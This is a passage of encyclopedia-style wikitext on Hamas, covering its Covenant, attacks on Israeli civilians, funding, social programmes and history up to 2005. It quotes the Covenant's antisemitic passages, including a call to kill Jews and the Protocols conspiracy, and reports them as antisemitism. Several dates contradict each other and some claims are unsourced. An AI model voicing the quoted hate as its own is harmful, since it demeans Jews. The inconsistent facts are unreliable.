According to the [[neo-conservative]] [[Washington Institute for Near East Policy|Washington Institute]], Hamas views the [[Arab-Israeli conflict]] as &quot;a religious struggle between [[Islam]] and [[Judaism]] that can only be resolved by the destruction of the State of Israel.&quot; [http://www.washingtoninstitute.org/templateC04.php?CID=116] Hamas uses both political activities and violence to pursue its goal of establishing an Islamic [[Palestinian state]] in place of Israel and the secular [[Palestinian Authority]]. Israeli military operations during the [[Al Aqsa Intifada]] in 2002 put pressure on Hamas in the West Bank following several bombings in Israel for which Hamas claimed responsibility. Hamas has also engaged in peaceful political activities, including running candidates in West Bank [[Chamber of Commerce]] elections. 

The 1988 [[wikisource:Hamas Covenant|Hamas Covenant]] states that the organization's goal is to &quot;raise the banner of [[Allah|God]] over every inch of Palestine,&quot; i.e. to eliminate the State of Israel (and any secular Palestinian state which may be established), and to replace it with an [[Islamic Republic]].
&lt;!-- The goal to conquer Israel is explicitly stated as one of the starting points in its charter: &quot;Israel will rise and will remain erect until Islam eliminates it as it had eliminated its predecessors.&quot; --&gt;

The thirty-six articles of the Covenant detail the movement's [[Islamist]] beliefs regarding the primacy of Islam in all aspects of life. The Covenant identifies Hamas as the [[Muslim Brotherhood]] in Palestine and considers its members to be Muslims who &quot;fear God and raise the banner of Jihad in the face of the oppressors.&quot; Hamas describes resisting and quelling the enemy as the individual duty of every Muslim and prescribes revolutionary roles for all members of society; including men and women, professionals, scientists and students. 

The slogan of Hamas is &quot;[[God]] is its target, [[Muhammad|the Prophet]] is its model, the [[Qur'an]] its [[constitution]]: Jihad is its path and death for the sake of God is the loftiest of its wishes.&quot; Hamas states that its objective is to support the oppressed and wronged and &quot;to bring about justice and defeat injustice, in word and deed.&quot; Hamas believes that &quot;the land of Palestine is an Islamic [[Waqf]] (trust) consecrated for future Muslim generations until [[Qiyamah|Judgement Day]],&quot; and as such, the land cannot be negotiated away by any political leader. Hamas rejects &quot;so-called peaceful solutions and international conferences&quot; as incapable of realizing justice or restoring rights to the oppressed, believing &quot;there is no solution for the Palestinian question except through [[Jihad]].&quot; During the election campaign the organisation toned down the criticism of Israel in their election manifest and only stated that they are prepared to use &quot;armed resistance to end the occupation&quot;.[http://www.stockholmsfria.nu/artikel/6296]

=== The Covenant of Hamas ===
The [[Wikisource:Hamas Covenant|Covenant]] (or Charter) of Hamas was published in 1988. It outlines the organization's position on various issues, including social and economic development and ideological influences, education, as well as its position regarding Israel. Amongst many other things, it reiterates the group's rejection of the coexistence principle of the [[peace process in the Israeli-Palestinian conflict]]: 

&lt;blockquote&gt;''Preface:'' &quot;Israel will exist and will continue to exist until Islam will obliterate it, just as it obliterated others before it.&quot; ''(A quote by Imam [[Hassan al-Banna]])''&lt;/blockquote&gt;  

&lt;blockquote&gt;''Article 6:'' &quot;The Islamic Resistance Movement is a distinguished Palestinian movement, whose allegiance is to Allah, and whose way of life is Islam. It strives to raise the banner of Allah over every inch of Palestine, for under the wing of Islam followers of all religions can coexist in security and safety where their lives, possessions and rights are concerned...&quot;&lt;/blockquote&gt;

&lt;blockquote&gt;''Article 11:'' &quot;The Islamic Resistance Movement believes that the land of Palestine is an Islamic Waqf consecrated for future Moslem generations until Judgement Day. It, or any part of it, should not be squandered: it, or any part of it, should not be given up.&quot;&lt;/blockquote&gt; 

&lt;blockquote&gt;''Article 13:'' &quot;There is no solution for the Palestinian question except through [[Jihad]]. Initiatives, proposals and international conferences are all a waste of time and vain endeavors. The Palestinian people know better than to consent to having their future, rights and fate toyed with.&quot;&lt;/blockquote&gt; 

&lt;blockquote&gt;''Article 28:'' &quot;The Zionist invasion is a vicious invasion ... It relies greatly in its infiltration and espionage operations on the secret organizations it gave rise to, such as the Freemasons, The Rotary and Lions clubs, and other sabotage groups. All these organizations, whether secret or open, work in the interest of Zionism and according to its instructions ...&quot;&lt;/blockquote&gt;

&lt;blockquote&gt;''Article 31:'' &quot;The Islamic Resistance Movement is a humanistic movement. It takes care of human rights and is guided by Islamic tolerance when dealing with the followers of other religions. It does not antagonize anyone of them except if it is antagonized by it or stands in its way to hamper its moves and waste its efforts. Under the wing of Islam, it is possible for the followers of the three religions - Islam, Christianity and Judaism - to coexist in peace and quiet with each other.&quot;&lt;/blockquote&gt;

&lt;blockquote&gt;''Article 32:'' &quot;After Palestine, the Zionists aspire to expand from the Nile to the Euphrates. When they will have digested the region they overtook, they will aspire to further expansion, and so on. Their plan is embodied in ''[[The Protocols of the Elders of Zion]]'', and their present conduct is the best proof of what we are saying.&quot; [http://www.welt.de/z/plog/blog.php/the_free_west/the_free_wests_weblog/2006/01/26/a_viable_palestinian_state] &lt;/blockquote&gt; 

Suicide attacks are an element of what the group sees as its [[asymmetric warfare]] against Israel. Since the group considers all Israel to be a &quot;militarized society&quot; (there is mandatory military service for most Jewish men and women) and Israelis to be participants in an illegal occupation of Palestinian land, Hamas does not distinguish between Israeli civilian and military targets. This failure to distinguish between combatants and non-combatants and the group's willingness to target civilian facilities including buses, supermarkets, and restaurants has led to it being labeled a terrorist organization.

Hamas' position on other social and political issues: 

&lt;blockquote&gt;''Article 16 (education):''
It is necessary to follow Islamic orientation in educating the Islamic generations in our region by teaching the religious duties, comprehensive study of the Koran, the study of the Prophet's Sunna (his sayings and doings), and learning about Islamic history and heritage from their authentic sources. This should be done by specialised and learned people, using a curriculum that would healthily form the thoughts and faith of the Moslem student. Side by side with this, a comprehensive study of the enemy, his human and financial capabilities, learning about his points of weakness and strength, and getting to know the forces supporting and helping him, should also be included. Also, it is important to be acquainted with the current events, to follow what is new and to study the analysis and commentaries made of these events. Planning for the present and future, studying every trend appearing, is a must so that the fighting Moslem would live knowing his aim, objective and his way in the midst of what is going on around him.&lt;/blockquote&gt;

&lt;blockquote&gt;''Article 18 (on women):''
Woman in the home of the fighting family, whether she is a mother or a sister, plays the most important role in looking after the family, rearing the children and embuing them with moral values and thoughts derived from Islam. She has to teach them to perform the religious duties in preparation for the role of fighting awaiting them. That is why it is necessary to pay great attention to schools and the curriculum followed in educating Moslem girls, so that they would grow up to be good mothers, aware of their role in the battle for liberation.

She has to be of sufficient knowledge and understanding where the performance of housekeeping matters are concerned, because economy and avoidance of waste of the family budget, is one of the requirements for the ability to continue moving forward in the difficult conditions surrounding us. She should put before her eyes the fact that the money available to her is just like blood which should never flow except through the veins so that both children and grown-ups could continue to live.&lt;/blockquote&gt;

&lt;blockquote&gt;''Article 21 (on civic culture and social responsibility):''

Mutual social responsibility means extending assistance, financial or moral, to all those who are in need and joining in the execution of some of the work. Members of the Islamic Resistance Movement should consider the interests of the masses as their own personal interests. They must spare no effort in achieving and preserving them. They must prevent any foul play with the future of the upcoming generations and anything that could cause loss to society. The masses are part of them and they are part of the masses. Their strength is theirs, and their future is theirs. Members of the Islamic Resistance Movement should share the people's joy and grief, adopt the demands of the public and whatever means by which they could be realised. The day that such a spirit prevails, brotherliness would deepen, cooperation, sympathy and unity will be enhanced and the ranks will be solidified to confront the enemies.&lt;/blockquote&gt;

=== Anti-Semitism ===
[[Anti-Semitism]] is a recurring theme in [[Wikisource:Hamas Covenant|Hamas Covenant]] and speeches of its leaders. The Covenant cites the long-discredited anti-Semitic fraud, ''[[The Protocols of the Elders of Zion]]'', describing it as &quot;the embodiment of the Zionist plan to usurp Palestine&quot;. Other examples of anti-Semitism in their Covenant include:

&lt;blockquote&gt;''Introduction:'' 
Our struggle against the Jews is very great and very serious. It needs all sincere efforts. It is a step that inevitably should be followed by other steps. The Movement is but one squadron that should be supported by more and more squadrons from this vast Arab and Islamic world, until the enemy is vanquished and Allah's victory is 
realised.&lt;/blockquote&gt;

&lt;blockquote&gt;''Article 7:'' 
... the Islamic Resistance Movement aspires to the realisation of Allah's promise, no matter how long that should take. The Prophet, Allah bless him and grant him salvation, has said: &quot;The Day of Judgement will not come about until Moslems fight the Jews (killing the Jews), when the Jew will hide behind stones and trees. The stones and trees will say O Moslems, O Abdulla, there is a Jew behind me, come and kill him. Only the Gharqad tree would not do that because it is one of the trees of the Jews.&quot;&lt;/blockquote&gt;

&lt;blockquote&gt;''Article 28:''
... when the Jews conquered the Holy City in 1967, they stood on the threshold of the Aqsa Mosque and proclaimed that &quot;Mohammed is dead, and his descendants are all women.&quot; 
Israel, Judaism and Jews challenge Islam and the Moslem people. &quot;May the cowards never sleep.&quot;&lt;/blockquote&gt;

Hamas dismisses the [[Freemasons]], [[Lions Clubs International|Lions Club]], and the [[Rotary International|Rotarians]] as organizations promoting &quot;the interest of [[Zionism]].&quot; It accuses those organizations, and the &quot;Zionist invasion&quot; in general, of being &quot;behind the [[drug trade]] and [[alcoholism]] in all its kinds.&quot; 

[[Abdel Aziz al-Rantissi]], co-founder of Hamas, reiterated beliefs of [[Holocaust denial]] as recently as one year before his 2004 death, contending that [[the Holocaust]] did not occur in the manner described by Western historians. [http://www.imra.org.il/story.php3?id=18086]

In 1998, Esther Webman of the Project for the Study of Anti-Semitism at the [[Tel-Aviv University]] 
wrote: &quot;...the anti-Semitic rhetoric in Hamas leaflets is frequent and intense. Nevertheless, anti-Semitism is not the main tenet of Hamas ideology. Generally no differentiation was made in the leaflets between Jew and Zionist, in as much as Judaism was perceived as embracing Zionism, although in other Hamas publications and in interviews with its leaders attempts at this differentiation have been made.&quot;[http://www.ict.org.il/articles/articledet.cfm?articleid=51#motifs]

According to Meir Litvak's 2003 study, &quot;In Hamas' literature, anti-Semitism became almost dominant. Earlier anti-Semitic motifs are developed time and again in their magazine Falastin al-Muslama. Almost every issue contains anti-Jewish articles using elements from the Islamic tradition. Judaism is presented as a religion based on lies, which from its origin called for aggression against others and their exploitation.&quot;[http://www.jcpa.org/phas/phas-5.htm]

However, the Hamas chosen Palestinian Prime Minister, Ismail Haniyeh, said in an interview:

''We do not have any feelings of animosity toward Jews. We do not wish to throw them into the sea. All we seek is to be given our land back, not to harm anybody.''[http://www.alertnet.org/thenews/newsdesk/L25737830.htm]

==Activities==
===Attacks against Israel===
[[Image:Buss Suicide Bombing West Jerusalem3.jpg|thumb|350px|The wreckage of a commuter bus in West Jerusalem after a suicide bombing by Hamas on Tuesday, [[June 18]], [[2002]]. The blast killed 19 people.]] 

Hamas' first use of suicide bombing occurred on [[April 16]], [[1993]] when a suicide bomber driving an explosive-laden van detonated between two buses parked at a restaurant [http://www.ict.org.il/inter_ter/orgattack.cfm?orgid=13].  Hamas described it as a response to a mass-killing of 29 praying Palestinians by an American-born Jewish settler in a Hebron Mosque 40 days earlier.  It was Hamas' 19th known attack since 1989 (the others being shootings, kidnappings and knife attacks)[http://www.ict.org.il/inter_ter/orgattack.cfm?orgid=13]. 

During the [[Al-Aqsa Intifada|second Intifada]], Hamas, along with the [[Palestinian Islamic Jihad Movement|Islamic Jihad Movement]], spearheaded the violence through the years of the Palestinian uprising. &lt;ref&gt; {{Citenews | title=Victory leaves Hamas with a dilemma (Opinion) | org=Telegraph | date=January 27, 2006 | url=http://www.opinion.telegraph.co.uk/opinion/main.jhtml?xml=/opinion/2006/01/27/do2702.xml&amp;sSheet=/opinion/2006/01/27/ixopinion.html}} &lt;/ref&gt; Since then Hamas has conducted many attacks on Israel, mainly through its military wing - the [[Ezzedeen-al-qassam]] Brigades.  These attacks have included large-scale [[suicide bombing]]s against Israeli civilian targets, the most deadly of which was the bombing of a [[Netanya]] hotel on March 27 2002, in which 30 people were killed and 140 were wounded.  This attack has also been referred to as the [[Passover massacre]] since it took place on the first night of the Jewish festival of [[Passover]]. Overall, from November 2000 to April 2004, 377 Israeli citizens and soldiers were killed and 2,076 wounded in 425 attacks by Hamas. ([http://www1.idf.il/DOVER/site/mainpage.asp?sl=EN&amp;id=7&amp;docid=30286.EN Source: IDF website].)  The Israeli Ministry of Foreign Affairs maintains a comprehensive list of Hamas attacks.[http://www.mfa.gov.il/MFA/Terrorism-+Obstacle+to+Peace/Terror+Groups/Hamas+terror+attacks+22-Mar-2004.htm] 

Hamas has used [[female suicide bomber]]s, including a mother of six and a mother of two children under the age of 10. Hamas claims that all suicide bombers volunteer for what they term &quot;[[martyr]]dom operations&quot; however an anonymous Israeli military source claims that one of the women was forced to commit these acts under threat of what is termed an &quot;[[honor killing]]&quot;.  [http://www.guardian.co.uk/israel/Story/0,2763,1131866,00.html][http://www.imra.org.il/story.php3?id=19474] 

Hamas has also attacked Israeli military and security forces targets (mostly inside the West Bank and Gaza Strip and occasionally inside Israel), suspected Palestinian collaborators, and [[Fatah]] rivals.  

Hamas shelled the [[Gush Katif]] [[Israeli settlement]]s in Gaza with homemade [[mortar (weapon)|mortar]]s. About 5500 mortar shells have landed in [[Gush Katif]], killing 3 people before the settlements were dismantled.

Since 2002, Hamas has used homemade [[Qassam rocket]]s to hit Israeli towns in the [[Negev]], such as [[Sderot]]. The introduction of the ''Qassam-2 rocket'' has allowed Hamas to reach large Israeli cities such as [[Ashkelon]], bringing great concern to the Israeli populace and many attempts by the Israeli military to stop the proliferation and use of the rockets.

===Support for the Palestinian population===
The organization is particularly popular among Palestinians in the [[Gaza Strip]], though it also has a following in the [[West Bank]], and to a lesser extent in other [[Middle East]]ern countries. Since its formation in 1987, Hamas has conducted numerous social, political, and military actions. Its popularity stems in part from its [[social welfare|welfare]] and social services to Palestinians in the occupied territories, including school and hospital construction. The group devotes much of its estimated $70-million annual budget to an extensive social services network, running many relief and [[education]] programs, and funds schools, orphanages, mosques, healthcare clinics, soup kitchens, and sports leagues. According to an article by Israeli scholar Reuven Paz, published by the conservative US think-tank [[Council on Foreign Relations]], approximately 90 percent of the organization's work is in social, welfare, cultural, and educational activities. &lt;ref&gt; {{note label|CFR|16|a}} [http://cfrterrorism.org/groups/hamas.html US [[Council of Foreign Relations]] think-tank on Hamas] &lt;/ref&gt; These programs are viewed variously as part of a sincere social development agenda, an integrated [[para-state]] policy, as [[propaganda]] and [[recruitment]] exercises, or both. In any case, Hamas has significantly increased literacy in areas where it is active. Hamas also funds a number of other charitable activities, primarily in the Gaza Strip. These include religious institutions, medical facilities, and social needs of the area's residents. The work of Hamas in these fields supplements that provided by the [[United Nations Relief and Works Agency for Palestine Refugees in the Near East|United Nations Relief Works Agency]] (UNRWA). The [[charitable trust]] [[Holy Land Foundation for Relief and Development]] was accused in December 2001 of funding Hamas.

Hamas is also well regarded by Palestinians for its efficiency and perceived lack of corruption compared to Fatah. &lt;ref&gt; {{Citenews | title=Why Rising Popularity Poses a Dilemma for Hamas | org=Time | date=January 23, 2006 | url=http://www.time.com/time/world/article/0,8599,1151969,00.html?cnn=yes}} &lt;/ref&gt; &lt;ref&gt; {{Citenews | title=“The Palestinian Authority held a democratic election and Israel and the rest of the world must accept that Hamas was the victor” | org=Jewish Virtual Library | date=No date | url=http://www.jewishvirtuallibrary.org/jsource/myths/mf24.html#a46}} &lt;/ref&gt;

=== Funding ===
Hamas is well funded and known to support families of [[suicide bombing|suicide bombers]] after their deaths. &lt;ref&gt; {{Citenews | title=Hamas from cradle to grave | org=The Middle East Quaterly | date=Winter 2004 | url=http://www.meforum.org/article/582}} &lt;/ref&gt; According to the [[United States Department of State|U.S. State Dept]], it is funded by [[Iran]] (led by a [[shiite]] Islamic regime), Palestinian expatriates, and private benefactors in [[Saudi Arabia]] and other Arab states. {{ref label|US|2|a}} However, various sources, among them ''[[United Press International]]'', ''[[Le Canard Enchaîné]]'' and ''[[L'Humanité]]'' have highlighted that Hamas' early growth - before its official founding and the creation of the military branch - had been supported by the [[Mossad]] as a &quot;counterbalance to the [[Palestine Liberation Organization]] (PLO)&quot;. &lt;ref&gt;{{note label|Humanite|13|a}}{{Citenews | title=Hamas is a creation of Mossad | org=L'Humanite | date=transl. March 2004 | url=http://globalresearch.ca/articles/ZER403A.html}}&lt;/ref&gt; &lt;ref&gt; {{note label|UPI|14|a}}{{Citenews | title=Hamas history tied to Israel | org=UPI | date=June 18, 2002 | url=http://www.upi.com/view.cfm?StoryID=18062002-051845-8272r}} &lt;/ref&gt; Furthermore, the French investigative newspaper ''[[Le Canard Enchaîné]]'' revealed that the [[Shin Beth]] had also supported Hamas as a counterweight to the PLO and the [[Fatah]], in an attempt to give &quot;a religious slant to the conflict, in order to make believe Occident that the conflict was between Jews and Muslims&quot; &lt;ref&gt; {{note label|Canard|15|a}}{{note label|Canard|15|b}} {{Citenews | title=Les très secrètes 'relations' Israël-Hamas (The very secret Israel-Hamas 'relations') | org=Le Canard Enchaîné | date=February 1, 2006 (issue n°4449) | url=http://www.canardenchaine.com/une4449.html}} &lt;/ref&gt;.

===Other===
Hamas has an unknown number of hard-line members and tens of thousands of supporters and sympathizers {{fact}}
It is believed to operate dozens of websites. A current listing can be found at [[Internet Haganah]] (External link below). [http://www.palestine-info.info/ The main website of Hamas] provides translations of official communiques and [[propaganda]] in [[Persian language]] [[Urdu language|Urdu]], [[Malay language|Malay]], [[Russian language|Russian]], [[English language|English]], and [[Arabic language|Arabic]].

In 2005, Hamas announced its intention to launch an experimental TV channel, &quot;Al-Aqsa&quot;. The station was launched on January 7, 2006, less than three weeks before the [[Palestinian legislative election, 2006|Palestinian legislative elections]]. [http://www.intelligence.org.il/eng/eng_n/al_aqsa_e.htm] It included a TV show for children.

==History==
&lt;!--there was no HAMAS party in any way before 1987--&gt;
=== Brief timeline ===
*'''1984'''. Arrest of [[Sheikh Ahmed Yassin]], condemned to 12 years of prison after the discovery of an arms cache. Yassin is freed the next year.

*'''1987. Creation of Hamas''' by Sheikh Ahmed Yassin.

*'''1987-1993. [[First Intifada]]'''

*'''1988 [[wikisource:Hamas Covenant|Hamas Covenant]]'''.

*'''1989. Israel outlaws Hamas''' and imprisons Sheikh Ahmed Yassin.

*'''1991. [[Gulf War]].'''

*'''1992. Creation of the military branch [[Ezzedeen-al-qassam]]'''.

*'''1993. [[Oslo Accords]]'''

*'''[[April 1993]]. First Hamas suicide bombing''' at Mehola Junction[http://www.tau.ac.il/jcss/memoranda/m48notes.html].

*'''[[Palestinian legislative and presidential election, 1996]]'''. Hamas boycotts them, allowing the [[Fatah]], led by Yasser Arafat, a large victory.

*'''[[January 1996]]. [[Targeted killing|Assassination]] of [[Yahya Ayyash]],''' Hamas bombmaker.

*'''[[February]]-[[March]] [[1996]]. 47 Israelis killed''' in three different bombings. 

*'''[[October 1997]]'''. Freed by Prime minister [[Benjamin Netanyahu]] for &quot;humanitarian reasons&quot;, Sheikh Yassin is acclaimed as hero at his return to Gaza.

*'''[[September 2000]]. [[Al-Aqsa Intifada]]''' - Hundreds of civilians killed on both sides (405 Palestinians (source: [[B'Tselem]]) and 256 Israeli citizens).

*'''[[July 2002]]'''. Assassination of [[Salah Shahade]], leader of the Ezzedeen-al-qassam brigades.

*'''[[January 6]], [[2004]]. 10 year truce (''[[hudna]]'')''' offered by senior Hamas official Abdel Aziz al-Rantissi in exchange of Israel's complete withdrawal to the 1967 borders. 

*'''[[March 22]] [[2004]], assassination of Sheikh Yassin'''. Yassin, then an old man restricted to a wheel-chair due to his life-long paralysis was assassinated in an Israeli missile strike on March 22, 2004. Abdel Aziz al-Rantissi replaced him as the leader of Hamas. On [[March 28]], Rantissi stated in a speech given at the Islamic University of [[Gaza City]] that &quot;America declared war against God. [[Ariel Sharon|Sharon]] declared war against God, and God declared war against America, Bush and Sharon.&quot;

*'''[[April 17]], [[2004]], assassination of [[Abdel Aziz al-Rantissi]]'''. Rantissi was also assassinated in an airstrike by the [[Israel Defense Forces]], five hours after a fatal suicide bombing by Hamas. [[Khaled Mashaal]], the leader of Hamas in Syria, said Hamas should not disclose the name of its next leader in Gaza. [http://www.nytimes.com/2004/04/18/international/middleeast/18MIDE.html]

*On [[April 18]] [[2004]], Hamas secretly selected a new leader in the Gaza Strip, fearing he would be killed if his identity were made public. [http://www.nytimes.com/aponline/international/AP-Israel-Palestinians.html?hp (NYT)]. However, Israel believes that the new leader is [[Mahmoud al-Zahar]]; the second-in-command, [[Ismail Haniya]]; and third-in-command, [[Sa'id A-Siyam]]. [http://www.israelnn.com/news.php3?id=61435]

*[[September 2004]]. Israeli army chief [[Moshe Yaalon]] said that Israel would &quot;deal with ... those who support terrorism,&quot; including those in &quot;terror command posts in Damascus.&quot; 

*'''[[September 26]], [[2004]]. Assassination of [[Izz El-Deen Sheikh Khalil]].''' Sheikh Khalil was assassinated by a car bomb in Damascus, Syria. Khalil was described variously as &quot;mid-level,&quot; &quot;senior,&quot; a &quot;distinguished member,&quot; and &quot;believed to be in charge of the group's military wing outside the Palestinian territories.&quot; [http://wireservice.wired.com/wired/story.asp?section=Breaking&amp;storyId=927356&amp;tw=wn_wire_story]Although the Israeli government offered no official confirmation, anonymous Israeli officials acknowledged responsibility for the attack. In a statement released in Gaza, Hamas threatened to target Israelis abroad in retaliation. [http://olympics.reuters.com/newsArticle.jhtml?type=worldNews&amp;storyID=6334113][http://www.boston.com/dailynews/270/world/Car_bomb_kills_Hamas_operative:.shtml].

*'''[[October 2004]]'''. Assassination of [[Adnan al-Ghoul]], assistant of [[Mohammed Deif]], the leader of the Ezzedeen-al-qassam brigades.

*'''[[November 11]], [[2004]]. Death of [[Yasser Arafat]]''', chairman of the [[Palestine Liberation Organization]] (PLO) and president of the [[Palestinian National Authority]].

*'''[[Palestinian presidential election, 2005|January 2005 Palestinian presidential election]].''' PLO chairman [[Mahmoud Abbas]] elected to replace Yasser Arafat. Hamas boycotts them.

*'''[[Palestinian municipal election, 2005|Palestinian municipal elections, January-May 2005]]'''. Relative success of Hamas, which took control of [[Beit Lahya]] in northern Gaza, [[Qalqiliya]] in the West Bank and [[Rafah]]. 

*'''[[March 2005]]. Hamas proclaims ''[[tadiyah]]''''', a period of calm.

*'''[[January 25]], [[2006]].''' Overwhelming victory of the Hamas at the [[Palestinian legislative election, 2006|legislative election]], which takes 74 seats of the 132 seats.

*As of 2004, Israeli military and intelligence sources believed that the Hamas infrastructure in the West Bank and Gaza Strip has been significantly weakened by Israeli military operations. Israeli sources have noted that no prominent attacks have been claimed by West Bank-based Hamas members (whereas bombings by the Fatah-linked [[Al-Aqsa Martyrs' Brigades]] continued), even though the Hamas leadership had reputedly ordered an escalation of suicide attacks after the assassinations of sheikh Yassin and Abdel Aziz al-Rantissi. The West Bank has been under increased Israeli military control since [[Operation Defensive Shield]] was launched in April 2002, which severely limited the mobility and organization of the remaining Hamas membership. However, the 2006 legislative elections proved Hamas was a political power, at least in the Gaza strip.

=== Before 1987 - Palestinian Islamic activities prior to the creation of Hamas ===
Sheikh Ahmed Yassin returned to Gaza from [[Cairo]] in the 1970s, where he set up Islamic charities, founding Hamas in 1987 as an offshoot of [[Egypt]]'s [[Muslim Brotherhood]]. According to the Israeli weekly ''[[Koteret Rashit]]'' (October 1987), &quot;The Islamic associations as well as the [Islamic university - founded in 1978 in Gaza] had been supported and encouraged by the Israeli military authority&quot; in charge of the (civilian) administration of the West Bank and Gaza. &quot;They [the Islamic associations and the university] were authorized to receive money payments from abroad.&quot; By the end of 1992, they were 600 hundreds mosques in Gaza. Hamas attracted members through preaching and charitable work before spreading its influence into [[trade union]]s, universities, bazaars, professional organizations and local government political races beginning in December 2004 &lt;ref&gt; [http://www.baltimoresun.com/news/nationworld/bal-te.hamas22jan22,1,6755050.story?coll=bal-home-headlines&amp;ctrack=1&amp;cset=true BaltimoreSun] &lt;/ref&gt;. “Thanks to Israel’s intelligence agency [[Mossad]] (Israel’s Institute for Intelligence and Special Tasks), the Islamists were allowed to reinforce their presence in the occupied territories. Meanwhile, the members of Fatah (Movement for the National Liberation of Palestine) and the Palestinian Left were subjected to the most brutal form of repression”, according to ''[[L’Humanite]]'' {{ref label|Humanite|13|a}}. Indeed Israel supported and encouraged Hamas' early growth in an effort to undermine the secular [[Fatah]] movement of [[Yasser Arafat]]. According to [[UPI]], [[Israel]] supported Hamas starting in the late 1970s as a &quot;counterbalance to the [[Palestine Liberation Organization]]&quot;. {{ref label|UPI|14|a}} At that time, Hamas's focus was on &quot;religious and social work&quot;. The grassroots movement concentrated on social issues such as exposing corruption, administration of ''[[waqf]]'' (trusts) and organizing community projects.

=== 1987 - The establishment of Hamas ===
The acronym &quot;Hamas&quot; first appeared in 1987 in a leaflet accusing the Israeli [[Mossad|intelligence service]]s of undermining the moral fiber of Palestinian youth as part of their recruitment of what they termed [[collaborator]]s. The use of violence by Hamas appeared almost contemporaneously with the [[First Intifada]], beginning with the  beating of Palestinians working with the Israeli government, progressing to attacks against Israeli military targets and moving on to violence aimed at civilians. As its methods have changed over the last twenty years, so has its rhetoric, now effectively claiming that Israeli civilians are &quot;military targets&quot; by virtue of living in a state with a [[military draft]]. The first Hamas suicide bombing was committed during the second Intifada, in April 1994 at Hadara.

=== 1991 - The Persian Gulf war ===
Between February and April 1998, Sheikh Ahmed Yassin raised several millions dollars from the Gulf states, which had withdrawn their funding from  Fatah following its official support of Saddam Hussein during the first [[Gulf War]].  In prison since 1989, Yassin was released under “humanitarian reasons” by Prime minister [[Netanyahu]] following a failed assassination attempt on [[Khaled Mashal]], and expelled to [[Jordan]], from where he was allowed to return to Gaza in October 1997. The military branch [[Ezzedeen-al-qassam]] were created a year before the [[Oslo Accords]], in an attempt to block those negotiations.

=== 2004 - A 10-year truce ===

On [[January 26]] [[2004]], senior Hamas official [[Abdel Aziz al-Rantissi]] offered a 10-year truce, or ''[[hudna]]'', in return for a complete withdrawal by Israel from the territories captured in the [[Six Day War]], and the establishment of a Palestinian state. Hamas leader [[Sheikh Ahmed Yassin]] stated that the group could accept a Palestinian state in the West Bank and Gaza Strip. Rantissi confirmed that Hamas had come to the conclusion that it was &quot;difficult to liberate all our land at this stage, so we accept a phased liberation.&quot; He said the truce could last 10 years, though &quot;not more than 10 years.&quot; &lt;ref&gt; [http://www.aljazeerah.info/News%20archives/2004%20News%20archives/Jan/27n/Hamas%20proposal%20of%2010year%20truce%20scorned.htm AlJazeerah] &lt;/ref&gt;

Observed since an attack on the Israeli southern town of [[Beersheba]] in [[August 2004]], in which 15 people were killed and 125 wounded, the truce was generally observed. Hamas violated once, in [[August 2005]], with an attack on the same bus station, wounding seven, and in several attacks on Israeli motorists - killing six in several attacks[http://www.ynetnews.com/articles/0,7340,L-3211836,00.html][http://www.jpost.com/servlet/Satellite?cid=1138622559871&amp;pagename=JPost%2FJPArticle%2FShowFull]. 

End of January 2004, [[Steve Cohen]], US civil servant mandated by the State Department and [[Colin Powell]], assisted to a meeting with Hamas officials, according to the ''[[Canard Enchaîné]]'' {{ref label|Canard|16|a}}. The mission was not only in informing itself about the objectives of the movement, according to the French newspaper, but also to evalue if Hamas could represent a counter-balance to [[al-Qaeda]]. In exchange, Hamas officials asked for the end of &quot;[[targeted killing]]s&quot; practiced against them by the Israeli military. 

While the group boycotted the [[Palestinian presidential election, 2005|2005 Palestinian presidential election]], it did participate in the [[Palestinian municipal election, 2005|2005 municipal elections]] organized by Yassir Arafat in the occupied territories.  In those elections it won control of over one third of Palestinian municipal councils, besting [[Fatah]], which has traditionally been &quot;the biggest force in Palestinian politics.&quot; &lt;ref&gt; {{Citenews | title=Hamas success in Fatah heartland | org=BBC News | date=May 13, 2005 | url=http://news.bbc.co.uk/1/hi/world/middle_east/4541383.stm}} &lt;/ref&gt; With this electoral success behind it, Hamas contested the [[Palestinian legislative election, 2006|2006 elections for the Palestinian Legislative Council]] as the main component of the List of Change and Reform.

=== 2005 - Israel's unilateral disengagement plan ===
In 2004, in a prelude to [[Israel's unilateral disengagement plan]] from the Gaza Strip, Israeli forces carried out a number of military attacks on Gaza cities and refugees camps, seeking to draw out and kill Hamas-affiliated gunmen. Awareness of high casualties during such incursions has led the Hamas leadership to instruct its activists to avoid putting themselves needlessly in the line of fire. On [[12 September]] [[2005]] [[Tsahal]] withdrew from the Gaza Strip and declared an official end to Israeli military rule in Gaza, though Israel still retains control of the airspace and of the sea. However the [[Palestinan Authority]] argues that the occupation is on-going, as complete [[sovereignty]] includes control of both airspace and seaways. Critics have called the Gaza strip an &quot;open-air prison&quot;.

Hamas claimed that this unilateral withdrawal was a victory for its armed struggle and pledged to liberate all the occupied territories, including the [[West Bank]] and [[East Jerusalem]].{{fact}} Fatah, on the other hand, viewed [[Ariel Sharon]]'s unilateral plan as proof of the Palestinians' failure to obtain international recognition.{{fact}} Both criticized the disengagement plan, citing Sharon's simultaneous encouragement of [[Israeli settlements]] in the West Bank, including [[Ma'ale Adummim]], a large settlement east of [[Jerusalem]] &lt;ref&gt; {{Citenews | title=Israel: Sharon the blessed | org=Le Monde Diplomatique | date=February 2006 | url=http://mondediplo.com/2006/02/03sharon}} &lt;/ref&gt;.

In [[April 2005]], an advisor of hawkish [[Benjamin Netanyahu]], principal right-wing opponent of Ariel Sharon, secretly negotiated with a Hamas representant, according to the ''[[Canard Enchaîné]]''. The meeting was about the &quot;possibility of an administrative co-gestion with the Hamas in the occupied territories&quot;, which is already the case in some Hamas-controlled cities of the West Bank, according to the French newspaper, which continues saying that: &quot;But, in both sides, participants to such a dialogue keeps their mouth shut (''bouche cousue''). It is impossible to admit that one has met and negotiated with his sworn enemy.&quot; {{ref label|Canard|16|b}}

=== January 2006 - Winning the legislative election ===
